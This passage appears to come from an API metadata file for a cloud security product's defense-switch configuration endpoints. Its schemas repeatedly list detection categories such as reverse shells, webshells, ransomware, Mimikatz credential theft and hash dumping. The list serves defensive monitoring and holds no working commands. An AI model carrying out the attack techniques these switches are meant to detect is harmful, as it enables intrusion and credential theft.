**USER-ENABLE-SWITCH-TYPE_54034**：Linux内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：Windows高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：Linux反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：Windows反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：Linux恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：Linux可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：Linux恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：Linux勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：Linux可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：Windows勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：Windows可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52829**：Windows删除系统备份行为', + 'type' => 'string', + 'required' => false, + 'example' => 'kdump_switch', + ], + 'required' => true, + 'maxItems' => 50, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'OverallList' => [ + 'description' => '主开关的配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '主开关的配置信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：Linux入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：Linux Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：Linux入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：Linux 云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：Linux植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：Linux植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：Linux入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：Windows浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：Windows入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：Windows系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Windows Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Windows Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Windows Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：Windows植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：Windows入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：Windows数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：Windows入口服务植入可疑脚本/二进制文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：Linux可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：Linux混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：Linux命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_71131**：Linux入口服务执行可疑行为序列'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Windows Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Windows Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：Windows可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：Windows恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：Windows命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：Windows敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：Windows高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：Windows创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：Windows创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：Windows创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：Windows创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：Windows创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：Linux越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：Linux利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：Linux越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：Linux疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：Windows越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：Linux恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：Linux对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：Linux进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：Linux劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：Linux绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：Windows加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：Windows运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：Windows对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54374**：Windows入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：Linux劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：Linux HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54383**：Windows MimiKatz凭据窃取'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：Windows HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：Linux信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：Windows信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54034**：Linux内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：Windows高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：Linux反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：Windows反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：Linux恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：Linux可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：Linux恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：Linux勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：Linux可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：Windows勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：Windows可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52829**：Windows删除系统备份行为', + 'type' => 'string', + 'example' => 'kdump_switch', + ], + 'TotalCount' => [ + 'description' => '查询到的主开关配置总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '184', + ], + 'Config' => [ + 'description' => '开关状态。取值：'."\n" + .'- **off**：关闭'."\n" + .'- **on**：开启', + 'type' => 'string', + 'example' => 'on', + ], + 'AuthVersionList' => [ + 'description' => '资产授权版本列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产授权版本。取值：'."\n" + .'- **sas_gte_enterprise**：企业版本及以上'."\n" + .'- **sas_gt_basic**：付费版本'."\n" + .'- **sas_gte_advanced**：高级版本及以上', + 'type' => 'string', + 'example' => 'sas_gt_basic', + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"OverallList\\": [\\n {\\n \\"Type\\": \\"kdump_switch\\",\\n \\"TotalCount\\": 184,\\n \\"Config\\": \\"on\\",\\n \\"AuthVersionList\\": [\\n \\"sas_gt_basic\\"\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防御开关的配置', + ], + 'DescribeCommonTargetConfig' => [ + 'summary' => '查询防御开关的配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **containerNetwork**：容器网络'."\n" + .'- **interceptionSwitch**：集群微隔离'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：Linux入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：Linux Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：Linux入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：Linux云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：Linux植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：Linux植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：Linux入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：Windows浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：Windows入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：Windows系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Windows Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Windows Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Windows Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：Windows植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：Windows入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：Windows数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：Windows入口服务植入可疑脚本/二进制文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：Linux可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：Linux混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：Linux命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_71131**：Linux入口服务执行可疑行为序列'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Windows Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Windows Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：Windows可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：Windows恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：Windows命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：Windows敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：Windows高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：Windows创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：Windows创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：Windows创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：Windows创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：Windows创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：Linux越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：Linux利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：Linux越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：Linux疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：Windows越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：Linux恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：Linux对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：Linux进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：Linux劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：Linux绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：Windows加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：Windows运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：Windows对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54374**：Windows入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：Linux劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：Linux HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54383**：Windows MimiKatz凭据窃取'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：Windows HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：Linux信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：Windows信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54034**：Linux内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：Windows高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：Linux反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：Windows反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：Linux恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：Linux可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：Linux恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：Linux勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：Linux可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：Windows勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：Windows可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52829**：Windows删除系统备份行为', + 'type' => 'string', + 'required' => true, + 'example' => 'kdump_switch', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', + ], + 'TargetList' => [ + 'description' => '目标开关的配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '目标开关的配置信息。', + 'type' => 'object', + 'properties' => [ + 'Flag' => [ + 'description' => '配置生效类型。取值：'."\n" + ."\n" + .'- **add**：包含'."\n" + .'- **del**：排除', + 'type' => 'string', + 'example' => 'add', + ], + 'Target' => [ + 'description' => '目标开关的配置的操作值。'."\n" + .'>- **TargetType**取值为 **uuid**时，该值表示资产UUID。'."\n" + .'>- **TargetType**取值为**Cluster**时，该值表示集群ID。'."\n" + .'>- **TargetType**取值为**image_repo**时，该值表示镜像仓库ID。', + 'type' => 'string', + 'example' => 'c23551de6149343e8a54e69fbefe6****', + ], + 'TargetType' => [ + 'description' => '目标开关的配置的操作维度。取值：'."\n" + ."\n" + .'- **uuid**：资产UUID'."\n" + .'- **Cluster**：集群ID'."\n" + .'- **image_repo**：镜像仓ID', + 'type' => 'string', + 'example' => 'image_repo', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"TargetList\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"c23551de6149343e8a54e69fbefe6****\\",\\n \\"TargetType\\": \\"image_repo\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防御开关的配置', + ], + 'BatchOperateCommonOverallConfig' => [ + 'summary' => '批量修改防御开关的状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '91909', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '开关状态。取值：'."\n" + ."\n" + .'- **on**：开启'."\n" + .'- **off**：关闭', + 'type' => 'string', + 'required' => true, + 'example' => 'on', + ], + ], + [ + 'name' => 'TypeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：Linux入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：Linux Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：Linux入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：Linux云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：Linux植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：Linux植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：Linux入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：Windows浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：Windows入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：Windows系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Windows Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Windows Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Windows Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：Windows植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：Windows入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：Windows数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：Windows入口服务植入可疑脚本/二进制文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：Linux可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：Linux混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：Linux命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_71131**：Linux入口服务执行可疑行为序列'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Windows Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Windows Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：Windows可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：Windows恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：Windows命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：Windows敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：Windows高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：Windows创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：Windows创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：Windows创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：Windows创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：Windows创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：Linux越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：Linux利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：Linux越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：Linux疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：Windows越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：Linux恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：Linux对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：Linux进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：Linux劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：Linux绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：Windows加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：Windows运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：Windows对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54374**：Windows入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：Linux劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：Linux HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54383**：Windows MimiKatz凭据窃取'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：Windows HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：Linux信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：Windows信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54034**：Linux内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：Windows高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：Linux反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：Windows反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：Linux恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：Linux可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：Linux恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：Linux勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：Linux可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：Windows勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：Windows可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52829**：Windows删除系统备份行为', + 'type' => 'array', + 'items' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：Linux入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：Linux Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：Linux入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：Linux云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：Linux植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：Linux植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：Linux入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：Windows浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：Windows入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：Windows系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Windows Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Windows Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Windows Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：Windows植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：Windows入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：Windows数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：Windows入口服务植入可疑脚本/二进制文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：Linux可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：Linux混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：Linux命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_71131**：Linux入口服务执行可疑行为序列'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Windows Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Windows Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：Windows可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：Windows恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：Windows命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：Windows敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：Windows高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：Windows创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：Windows创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：Windows创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：Windows创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：Windows创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：Linux越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：Linux利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：Linux越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：Linux疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：Windows越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：Linux恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：Linux对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：Linux进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：Linux劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：Linux绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：Windows加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：Windows运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：Windows对抗安全软件'."\n" + .'- 